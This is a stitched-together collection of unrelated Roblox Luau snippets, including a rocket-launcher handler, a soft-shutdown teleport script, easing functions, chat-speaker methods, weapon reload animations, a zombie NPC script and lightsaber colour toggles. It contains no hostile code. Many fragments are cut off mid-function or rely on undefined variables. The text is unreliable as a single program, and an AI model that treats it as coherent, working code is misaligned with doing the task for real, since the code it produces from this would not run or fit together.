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--Set up firing the rocket.
FireRocketEvent.OnServerEvent:Connect(function(Player) if Player == CurrentPlayer and ToolEnabled then ToolEnabled = false Tool.Enabled = false CurrentRocket = RocketBuffer:PopItem() or CurrentRocket local FiredBy = Instance.new("ObjectValue") FiredBy.Name = "FiredBy" FiredBy.Value = Player FiredBy.Parent = CurrentRocket wait(ROCKET_RELOAD_TIME) AddBufferRocket() ToolEnabled = true Tool.Enabled = true end end)
--s.Pitch = 0.7
while s.Pitch<0.65 do s.Pitch=s.Pitch+0.009 s:Play() if s.Pitch>1 then s.Pitch=1 end wait(-9) end while s.Pitch<0.97 do s.Pitch=s.Pitch+0.003 s:Play() if s.Pitch>1 then s.Pitch=1 end wait(-9) end
--[[ SoftShutdown 1.2 Author: Merely This systesm lets you shut down servers without losing a bunch of players. When game.OnClose is called, the script teleports everyone in the server into a reserved server. When the reserved servers start up, they wait a few seconds, and then send everyone back into the main place. I added wait() in a couple of places because if you don't, everyone will spawn into their own servers with only 1 player. --]]
local TeleportService = game:GetService("TeleportService") local Players = game:GetService("Players") if (game.VIPServerId ~= "" and game.VIPServerOwnerId == 0) then -- this is a reserved server without a VIP server owner local m = Instance.new("Message") m.Text = "This is a temporary lobby. Teleporting back in a moment." m.Parent = workspace local waitTime = 5 Players.PlayerAdded:connect(function(player) wait(waitTime) waitTime = waitTime / 2 TeleportService:Teleport(game.PlaceId, player) end) for _,player in pairs(Players:GetPlayers()) do TeleportService:Teleport(game.PlaceId, player) wait(waitTime) waitTime = waitTime / 2 end else game:BindToClose(function() if (#Players:GetPlayers() == 0) then return end if (game.JobId == "") then -- Offline return end local DataStore2 = require(game.ServerScriptService.MainModule) for _,player in pairs(Players:GetPlayers()) do local data = DataStore2("Stats",player):Get() DataStore2("Stats",player):Update(function(old) return data end) end local m = Instance.new("Message") m.Text = "Rebooting servers for update. Please wait" m.Parent = workspace wait(2) local reservedServerCode = TeleportService:ReserveServer(game.PlaceId) for _,player in pairs(Players:GetPlayers()) do TeleportService:TeleportToPrivateServer(game.PlaceId, reservedServerCode, { player }) end Players.PlayerAdded:connect(function(player) TeleportService:TeleportToPrivateServer(game.PlaceId, reservedServerCode, { player }) end) while (#Players:GetPlayers() > 0) do wait(1) end -- done end) end
-- SERVICES --
local UIS = game:GetService("UserInputService") local RS = game:GetService("ReplicatedStorage") local TS = game:GetService("TweenService") local CS = game:GetService("CollectionService")
--!strict
local function lastIndexOf(str: string, searchValue: string, fromIndex: number?): number local strLength = string.len(str) local calculatedFromIndex if fromIndex then calculatedFromIndex = fromIndex else calculatedFromIndex = strLength end if fromIndex and fromIndex < 1 then calculatedFromIndex = 1 end if fromIndex and fromIndex > strLength then calculatedFromIndex = strLength end if searchValue == "" then -- FIXME: Luau DFA doesn't understand that return calculatedFromIndex :: number end local lastFoundStartIndex, foundStartIndex -- Luau FIXME: Luau doesn't look beyond assignment for type, it should infer number? from loop bound local foundEndIndex: number? = 0 repeat lastFoundStartIndex = foundStartIndex -- Luau FIXME: DFA doesn't understand until clause means foundEndIndex is never nil within loop foundStartIndex, foundEndIndex = string.find(str, searchValue, foundEndIndex :: number + 1, true) until foundStartIndex == nil or foundStartIndex > calculatedFromIndex if lastFoundStartIndex == nil then return -1 end -- Luau FIXME: Luau should see the predicate above and known the line below can only be a number return lastFoundStartIndex :: number end return lastIndexOf
-- << REMOTE LIMITS / SANITY CHECKS >>
local remoteRefreshRate = 5 local remoteLimits = { ["RemoteFunction"] = 20; ["RemoteEvent"] = 10; } local sanityChecks = {} local function checkRemoteLimit(player, remote) local remoteType = remote.ClassName local remoteLimit = remoteLimits[remoteType] if not sanityChecks[player] then sanityChecks[player] = {} end local requests = sanityChecks[player][remote] if not requests then requests = 1 sanityChecks[player][remote] = requests else sanityChecks[player][remote] = requests + 1 end if requests > remoteLimit then main:GetModule("cf"):FormatAndFireError(player, "RequestsLimit") if remoteType == "RemoteFunction" then wait(1) end return false end return true end coroutine.wrap(function() while true do wait(remoteRefreshRate) sanityChecks = {} end end)()
--//Client Animations
IdleAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play() -- require(script).FakeRightPos (For fake arms) | require(script).RightArmPos (For real arms) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).LeftPos}):Play() -- require(script).FakeLeftPos (For fake arms) | require(script).LeftArmPos (For real arms) end; StanceDown = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, 0.45, -1.25) * CFrame.Angles(math.rad(-75), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.1,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play() wait(0.3) end; StanceUp = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-1, -.75, -1.25) * CFrame.Angles(math.rad(-160), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(.75,-0.75,-1.35) * CFrame.Angles(math.rad(-170),math.rad(60),math.rad(15))}):Play() wait(0.3) end; Patrol = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.8, 0.3, -1.15) * CFrame.Angles(math.rad(-65), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.9,0.4,-0.9) * CFrame.Angles(math.rad(-50),math.rad(45),math.rad(-45))}):Play() wait(0.3) end; SprintAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.8, 0.3, -1.15) * CFrame.Angles(math.rad(-65), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.9,0.4,-0.9) * CFrame.Angles(math.rad(-50),math.rad(45),math.rad(-45))}):Play() wait(0.3) end; EquipAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play() wait(0.1) objs[5].Handle:WaitForChild("AimUp"):Play() ts:Create(objs[2],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).RightPos}):Play() ts:Create(objs[3],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).LeftPos}):Play() wait(0.5) end; ZoomAnim = function(char, speed, objs) --ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.65, -0.7, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(30))}):Play() wait(0.3) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.25, -1.1, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(5))}):Play() ts:Create(objs[5].g33:WaitForChild("g33"),TweenInfo.new(0.3),{C1 = CFrame.new(-0.2, 0.21, 0)*CFrame.Angles(0, 0, math.rad(90))*CFrame.new(0.225, -0.75, 0)}):Play() wait(0.3) end; UnZoomAnim = function(char, speed, objs) --ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.25, -1.1, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(5))}):Play() wait(0.3) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.65, -0.7, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(30))}):Play() ts:Create(objs[5].g33:WaitForChild("g33"),TweenInfo.new(0.3),{C1 = CFrame.new()}):Play() wait(0.3) end; ChamberAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play() ts:Create(objs[3],TweenInfo.new(0.35),{C1 = CFrame.new(0.65,0.55,-1.2) * CFrame.Angles(math.rad(-110),math.rad(20),math.rad(0))}):Play() wait(0.35) objs[5].Bolt:WaitForChild("SlidePull"):Play() ts:Create(objs[3],TweenInfo.new(0.25),{C1 = CFrame.new(0.55,0.30,-1.15) * CFrame.Angles(math.rad(-110),math.rad(20),math.rad(0))}):Play() ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.25),{C0 = CFrame.new(objs[6].BoltExtend) * CFrame.Angles(0,math.rad(0),0)}):Play() ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.25),{C0 = CFrame.new(objs[6].SlideExtend) * CFrame.Angles(0,math.rad(0),0)}):Play() wait(0.3) objs[5].Bolt:WaitForChild("SlideRelease"):Play() ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play() ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play() end; ChamberBKAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.55,-0.05,-1.55) * CFrame.Angles(math.rad(-120),math.rad(20),math.rad(0))}):Play() wait(0.5) objs[5].Bolt:WaitForChild("SlideRelease"):Play() ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play() ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play() wait(0.35) end; CheckAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, 0.5, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play() wait(.35) local MagC = objs[5]:WaitForChild("Mag"):clone() objs[5].Mag.Transparency = 1 MagC.Parent = objs[5] MagC.Name = "MagC" MagC.Transparency = 0 local MagCW = Instance.new("Motor6D") MagCW.Part0 = MagC MagCW.Part1 = objs[3].Parent.Parent:WaitForChild("Left Arm") MagCW.Parent = MagC MagCW.C1 = MagC.CFrame:toObjectSpace(objs[3].Parent.Parent:WaitForChild("Left Arm").CFrame) ts:Create(MagCW,TweenInfo.new(0),{C0 = CFrame.new(0.8, -.25, 0.15) * CFrame.Angles(math.rad(-90), math.rad(180), math.rad(90))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.45,0.475,-2.05) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play() objs[5].Handle:WaitForChild("MagOut"):Play() wait(0.3) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.15,0.475,-1.5) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(0))}):Play() wait(1.5) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.45,0.475,-2.05) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play() wait(0.3) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play() objs[5].Handle:WaitForChild("MagIn"):Play() MagC:Destroy() objs[5].Mag.Transparency = 0 wait(0.3) end; ShellInsertAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, -0.365, -1.2) * CFrame.Angles(math.rad(-115), math.rad(-2), math.rad(9))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.55,-0.4,-1.15) * CFrame.Angles(math.rad(-100),math.rad(70),math.rad(-41))}):Play() wait(0.3) objs[5].Handle:WaitForChild("ShellInsert"):Play() ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, -0.365, -1.2) * CFrame.Angles(math.rad(-110), math.rad(-2), math.rad(9))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.6,-0.3,-1.1) * CFrame.Angles(math.rad(-100),math.rad(70),math.rad(-41))}):Play() objs[6].Value = objs[6].Value - 1 objs[7].Value = objs[7].Value + 1 wait(0.3) end; ReloadAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, 0.425, -0.75) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(30))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.35,-0.95,-1.45) * CFrame.Angles(math.rad(-130),math.rad(75),math.rad(15))}):Play() wait(0.3) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, 0.425, -0.75) * CFrame.Angles(math.rad(-85), math.rad(0), math.rad(30))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-1.5,-1.65) * CFrame.Angles(math.rad(-125),math.rad(75),math.rad(15))}):Play() local MagC = objs[5]:WaitForChild("Mag"):clone() objs[5].Mag.Transparency = 1 MagC.Parent = objs[5] MagC.Name = "MagC" MagC.Transparency = 0 local MagCW = Instance.new("Motor6D") MagCW.Part0 = MagC MagCW.Part1 = objs[3].Parent.Parent:WaitForChild("Left Arm") MagCW.Parent = MagC MagCW.C1 = MagC.CFrame:toObjectSpace(objs[5].Mag.CFrame) objs[5].Handle:WaitForChild("MagOut"):Play() wait(0.3) ts:Create(objs[3],TweenInfo.new(0.4),{C1 = CFrame.new(1.195,1.4,-0.5) * CFrame.Angles(math.rad(0),math.rad(25),math.rad(0))}):Play() wait(0.75) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, 0.425, -0.75) * CFrame.Angles(math.rad(-85), math.rad(0), math.rad(30))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-1.5,-1.65) * CFrame.Angles(math.rad(-125),math.rad(75),math.rad(15))}):Play() wait(0.3) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, 0.425, -0.75) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(30))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.35,-0.95,-1.45) * CFrame.Angles(math.rad(-130),math.rad(75),math.rad(15))}):Play() objs[5].Handle:WaitForChild("MagIn"):Play() MagC:Destroy() objs[5].Mag.Transparency = 0 if (objs[6].Value - (objs[8].Ammo - objs[7].Value)) < 0 then objs[7].Value = objs[7].Value + objs[6].Value objs[6].Value = 0 --Evt.Recarregar:FireServer(objs[5].Value) elseif objs[7].Value <= 0 then objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value) --Evt.Recarregar:FireServer(objs[5].Value) objs[7].Value = objs[8].Ammo objs[9] = false elseif objs[7].Value > 0 and objs[9] and objs[8].IncludeChamberedBullet then objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value) - 1 --objs[10].Recarregar:FireServer(objs[6].Value) objs[7].Value = objs[8].Ammo + 1 elseif objs[7].Value > 0 and objs[9] and not objs[8].IncludeChamberedBullet then objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value) --Evt.Recarregar:FireServer(objs[5].Value) objs[7].Value = objs[8].Ammo end wait(0.55) end;
-- Function to handle button clicks
local function castVote(mapName) -- Check if the map name is valid for _, map in ipairs(availableMaps) do if map == mapName then -- Increment the vote count for the selected map if not mapVotes[map] then mapVotes[map] = 0 end mapVotes[map] = mapVotes[map] + 1 break end end end
-- a: amplitud -- p: period
local function outInElastic(t, b, c, d, a, p) if t < d / 2 then return outElastic(t * 2, b, c / 2, d, a, p) else return inElastic((t * 2) - d, b + c / 2, c / 2, d, a, p) end end local function inBack(t, b, c, d, s) if not s then s = 1.70158 end t = t / d return c * t * t * ((s + 1) * t - s) + b end local function outBack(t, b, c, d, s) if not s then s = 1.70158 end t = t / d - 1 return c * (t * t * ((s + 1) * t + s) + 1) + b end local function inOutBack(t, b, c, d, s) if not s then s = 1.70158 end s = s * 1.525 t = t / d * 2 if t < 1 then return c / 2 * (t * t * ((s + 1) * t - s)) + b else t = t - 2 return c / 2 * (t * t * ((s + 1) * t + s) + 2) + b end end local function outInBack(t, b, c, d, s) if t < d / 2 then return outBack(t * 2, b, c / 2, d, s) else return inBack((t * 2) - d, b + c / 2, c / 2, d, s) end end local function outBounce(t, b, c, d) t = t / d if t < 1 / 2.75 then return c * (7.5625 * t * t) + b elseif t < 2 / 2.75 then t = t - (1.5 / 2.75) return c * (7.5625 * t * t + 0.75) + b elseif t < 2.5 / 2.75 then t = t - (2.25 / 2.75) return c * (7.5625 * t * t + 0.9375) + b else t = t - (2.625 / 2.75) return c * (7.5625 * t * t + 0.984375) + b end end local function inBounce(t, b, c, d) return c - outBounce(d - t, 0, c, d) + b end local function inOutBounce(t, b, c, d) if t < d / 2 then return inBounce(t * 2, 0, c, d) * 0.5 + b else return outBounce(t * 2 - d, 0, c, d) * 0.5 + c * .5 + b end end local function outInBounce(t, b, c, d) if t < d / 2 then return outBounce(t * 2, b, c / 2, d) else return inBounce((t * 2) - d, b + c / 2, c / 2, d) end end return { linear = linear, inQuad = inQuad, outQuad = outQuad, inOutQuad = inOutQuad, inCubic = inCubic , outCubic = outCubic, inOutCubic = inOutCubic, outInCubic = outInCubic, inQuart = inQuart, outQuart = outQuart, inOutQuart = inOutQuart, outInQuart = outInQuart, inQuint = inQuint, outQuint = outQuint, inOutQuint = inOutQuint, outInQuint = outInQuint, inSine = inSine, outSine = outSine, inOutSine = inOutSine, outInSine = outInSine, inExpo = inExpo, outExpo = outExpo, inOutExpo = inOutExpo, outInExpo = outInExpo, inCirc = inCirc, outCirc = outCirc, inOutCirc = inOutCirc, outInCirc = outInCirc, inElastic = inElastic, outElastic = outElastic, inOutElastic = inOutElastic, outInElastic = outInElastic, inBack = inBack, outBack = outBack, inOutBack = inOutBack, outInBack = outInBack, inBounce = inBounce, outBounce = outBounce, inOutBounce = inOutBounce, outInBounce = outInBounce, }
--!strict
local String = script.Parent local LuauPolyfill = String.Parent local Number = require(LuauPolyfill.Number) local NaN = Number.NaN
--////////////////////////////// Methods --//////////////////////////////////////
local function ShallowCopy(table) local copy = {} for i, v in pairs(table) do copy[i] = v end return copy end local methods = {} methods.__index = methods function methods:SayMessage(message, channelName, extraData) if (self.ChatService:InternalDoProcessCommands(self.Name, message, channelName)) then return end if (not channelName) then return end local channel = self.Channels[channelName:lower()] if (not channel) then error("Speaker is not in channel \"" .. channelName .. "\"") end local messageObj = channel:InternalPostMessage(self, message, extraData) if (messageObj) then local success, err = pcall(function() self.eSaidMessage:Fire(messageObj, channelName) end) if not success and err then print("Error saying message: " ..err) end end return messageObj end function methods:JoinChannel(channelName) if (self.Channels[channelName:lower()]) then warn("Speaker is already in channel \"" .. channelName .. "\"") return end local channel = self.ChatService:GetChannel(channelName) if (not channel) then error("Channel \"" .. channelName .. "\" does not exist!") end self.Channels[channelName:lower()] = channel channel:InternalAddSpeaker(self) local success, err = pcall(function() self.eChannelJoined:Fire(channel.Name, channel:GetWelcomeMessageForSpeaker(self)) end) if not success and err then print("Error joining channel: " ..err) end end function methods:LeaveChannel(channelName) if (not self.Channels[channelName:lower()]) then warn("Speaker is not in channel \"" .. channelName .. "\"") return end local channel = self.Channels[channelName:lower()] self.Channels[channelName:lower()] = nil channel:InternalRemoveSpeaker(self) local success, err = pcall(function() self.eChannelLeft:Fire(channel.Name) end) if not success and err then print("Error leaving channel: " ..err) end end function methods:IsInChannel(channelName) return (self.Channels[channelName:lower()] ~= nil) end function methods:GetChannelList() local list = {} for i, channel in pairs(self.Channels) do table.insert(list, channel.Name) end return list end function methods:SendMessage(message, channelName, fromSpeaker, extraData) local channel = self.Channels[channelName:lower()] if (channel) then channel:SendMessageToSpeaker(message, self.Name, fromSpeaker, extraData) else warn(string.format("Speaker '%s' is not in channel '%s' and cannot receive a message in it.", self.Name, channelName)) end end function methods:SendSystemMessage(message, channelName, extraData) local channel = self.Channels[channelName:lower()] if (channel) then channel:SendSystemMessageToSpeaker(message, self.Name, extraData) else warn(string.format("Speaker '%s' is not in channel '%s' and cannot receive a system message in it.", self.Name, channelName)) end end function methods:GetPlayer() return self.PlayerObj end function methods:SetExtraData(key, value) self.ExtraData[key] = value self.eExtraDataUpdated:Fire(key, value) end function methods:GetExtraData(key) return self.ExtraData[key] end function methods:SetMainChannel(channelName) local success, err = pcall(function() self.eMainChannelSet:Fire(channelName) end) if not success and err then print("Error setting main channel: " ..err) end end
--[=[ Accepts an array of Promises and returns a Promise that is resolved as soon as *any* of the input Promises resolves. It will reject only if *all* input Promises reject. As soon as one Promises resolves, all other pending Promises are cancelled if they have no other consumers. Resolves directly with the value of the first resolved Promise. This is essentially [[Promise.some]] with `1` count, except the Promise resolves with the value directly instead of an array with one element. ```lua local promises = { returnsAPromise("example 1"), returnsAPromise("example 2"), returnsAPromise("example 3"), } return Promise.any(promises) -- Resolves with first value to resolve (only rejects if all 3 rejected) ``` @param promises {Promise<T>} @return Promise<T> ]=]
function Promise.any(promises) return Promise._all(debug.traceback(nil, 2), promises, 1):andThen(function(values) return values[1] end) end
-- LocalScript:
local Open = false local Frame = script.Parent.Parent.TextButton local Button = script.Parent function Clicked() if Open == false then Open = true Frame.Visible = true Button.Text = "Close" -- Closes the Frame elseif Open == true then Open = false Frame.Visible = false Button.Text = "Open" -- Opens the Frame end end Button.MouseButton1Click:connect(Clicked)
-- Call the updateDate function to set the initial date
updateDate()
---------------------------------------------------------------------------------------
configuration.MenuFieldOfView.Changed:Connect(function() customMenuFieldOfView = defaultMenuFieldOfView * configuration.MenuFieldOfView.Value menuFieldOfViewChange = ts:Create(currentCamera, ti2, {FieldOfView = customMenuFieldOfView}) menuFieldOfViewChange:Play() end) configuration.MenuBlurIntensity.Changed:Connect(function() customMenuBlurIntesity = defaultMenuBlurIntensity * configuration.MenuBlurIntensity.Value blurOpen = ts:Create(game.Lighting.Blur, ti2, {Size = customMenuBlurIntesity}) blurOpen:Play() end) configuration.MenuMusic.Changed:Connect(function() Sounds.MenuMusic.Playing = configuration.MenuMusic.Value end) configuration.MenuMusicVolume.Changed:Connect(function() customMenuMusicVolume = defaultMenuMusicVolume * configuration.MenuMusicVolume.Value menuMusicOn = ts:Create(Sounds.MenuMusic, ti, {Volume = customMenuMusicVolume}) menuMusicOn:Play() end) configuration.GameMusicVolume.Changed:Connect(function() customGameMusicVolume = defaultGameMusicVolume * customGameMusicVolume gameMusicOn = ts:Create(Sounds.GameMusic, ti, {Volume = customGameMusicVolume}) gameMusicOn:Play() end)
-- You can modify these.
-- Choose your BrickColors. Use the name, and put it inside quotes like below. colortable = { "Bright blue", "Bright red", "Bright green", "Bright yellow", "Bright orange", "Cyan", "Bright violet", "Carnation pink", "white", "Brown", "Dark stone grey", "Black", } -- Determines what model gets painted. tgt = script.Parent -- Rename this if your colorable parts are a different name. -- Don't use "Part" unless this script is in a paint model. paintpart = "Color"
--slowest -- ONLY ONE MODE AT A TIME, LOLOLOLOL
script.Parent.Color = Color3.new(math.random(),math.random(),math.random()) wait(10) mode7() end function mode8()
-- ROBLOX GLOBALS
export type CharacterType = Model & { Humanoid: Humanoid & { Animator: Animator?, HumanoidDescription: HumanoidDescription? }, HumanoidRootPart: Part & { RootJoint: Motor6D }, Head: Part & { face: Decal }, Torso: Part & { roblox: Decal, ["Neck"]: Motor6D, ["Left Hip"]: Motor6D, ["Right Hip"]: Motor6D, ["Left Shoulder"]: Motor6D, ["Right Shoulder"]: Motor6D, }, ["Left Arm"]: Part, ["Left Leg"]: Part, ["Right Arm"]: Part, ["Right Leg"]: Part } export type RagdollCharacterType = CharacterType & { Collisions: Folder & { Rigged_Head: Part, ["Rigged_Left Arm"]: Part, ["Rigged_Left Leg"]: Part, ["Rigged_Right Arm"]: Part, ["Rigged_Right Leg"]: Part } }
--Zombie artificial stupidity script
sp=script.Parent lastattack=0 nextrandom=0 nextsound=0 nextjump=0 chasing=false variance=4 damage=10 attackrange=4.5 sightrange=999--60 runspeed=10 wonderspeed=8 healthregen=false colors={"Sand red","Dusty Rose","Medium blue","Sand blue","Lavender","Earth green","Brown","Medium stone grey","Brick yellow"} function raycast(spos,vec,currentdist) local hit2,pos2=game.Workspace:FindPartOnRay(Ray.new(spos+(vec*.01),vec*currentdist),script.Parent) if hit2~=nil and pos2 then if hit2.Parent==script.Parent and hit2.Transparency>=.8 or hit2.Name=="Handle" or string.sub(hit2.Name,1,6)=="Effect" or hit2.Parent:IsA("Hat") or hit2.Parent:IsA("Tool") or (hit2.Parent:FindFirstChild("Humanoid") and hit2.Parent:FindFirstChild("TEAM") and hit2.Parent:FindFirstChild("TEAM").Value == script.Parent.TEAM.Value) or (not hit2.Parent:FindFirstChild("Humanoid") and hit2.CanCollide==false) then local currentdist=currentdist-(pos2-spos).magnitude return raycast(pos2,vec,currentdist) end end return hit2,pos2 end function waitForChild(parent,childName) local child=parent:findFirstChild(childName) if child then return child end while true do child=parent.ChildAdded:wait() if child.Name==childName then return child end end end
--[[ Local Functions ]]
-- local function onShiftLockToggled() IsShiftLocked = not IsShiftLocked if IsShiftLocked then ShiftLockIcon.Image = SHIFT_LOCK_ON Mouse.Icon = SHIFT_LOCK_CURSOR else ShiftLockIcon.Image = SHIFT_LOCK_OFF Mouse.Icon = "" end ShiftLockController.OnShiftLockToggled:Fire() end local function initialize() if ScreenGui then ScreenGui:Destroy() ScreenGui = nil end ScreenGui = Instance.new('ScreenGui') ScreenGui.Name = "ControlGui" local frame = Instance.new('Frame') frame.Name = "BottomLeftControl" frame.Size = UDim2.new(0, 130, 0, 46) frame.Position = UDim2.new(0, 0, 1, -46) frame.BackgroundTransparency = 1 frame.Parent = ScreenGui ShiftLockIcon = Instance.new('ImageButton') ShiftLockIcon.Name = "MouseLockLabel" ShiftLockIcon.Size = UDim2.new(0, 31, 0, 31) ShiftLockIcon.Position = UDim2.new(0, 12, 0, 2) ShiftLockIcon.BackgroundTransparency = 1 ShiftLockIcon.Image = IsShiftLocked and SHIFT_LOCK_ON or SHIFT_LOCK_OFF ShiftLockIcon.Visible = true ShiftLockIcon.Parent = frame ShiftLockIcon.MouseButton1Click:connect(onShiftLockToggled) ScreenGui.Parent = IsShiftLockMode and PlayerGui or nil end
--[[* * Call a function while guarding against errors that happens within it. * Returns an error if it throws, otherwise nil. * * In production, this is implemented using a try-catch. The reason we don't * use a try-catch directly is so that we can swap out a different * implementation in DEV mode. * * @param {String} name of the guard to use for logging or debugging * @param {Function} func The function to invoke * @param {*} context The context to use when calling the function * @param {...*} args Arguments for function ]]
exports.invokeGuardedCallback = function(...) hasError = false caughtError = nil -- deviation: passing in reporter directly invokeGuardedCallbackImpl(reporter, ...) end
--edit the below function to execute code when this response is chosen OR this prompt is shown --player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
return function(player, dialogueFolder) delay(4,function() player.PlayerData.Events.Respawn:Fire() end) end
--yellow 8
if k == "y" and ibo.Value==true then bin.Blade.BrickColor = BrickColor.new("New yeller") bin.Blade2.BrickColor = BrickColor.new("Institutional white") bin.Blade.White.Enabled=false colorbin.white.Value = false bin.Blade.Blue.Enabled=false colorbin.blue.Value = false bin.Blade.Green.Enabled=false colorbin.green.Value = false bin.Blade.Magenta.Enabled=false colorbin.magenta.Value = false bin.Blade.Orange.Enabled=false colorbin.orange.Value = false bin.Blade.Viridian.Enabled=false colorbin.viridian.Value = false bin.Blade.Violet.Enabled=false colorbin.violet.Value = false bin.Blade.Red.Enabled=false colorbin.red.Value = false bin.Blade.Silver.Enabled=false colorbin.silver.Value = false bin.Blade.Black.Enabled=false colorbin.black.Value = false bin.Blade.NavyBlue.Enabled=false colorbin.navyblue.Value = false bin.Blade.Yellow.Enabled=true colorbin.yellow.Value = true bin.Blade.Cyan.Enabled=false colorbin.cyan.Value = false end
-- EVENTS --
local Replicate = Remotes:WaitForChild("Replicate")
---Creator function return object keys
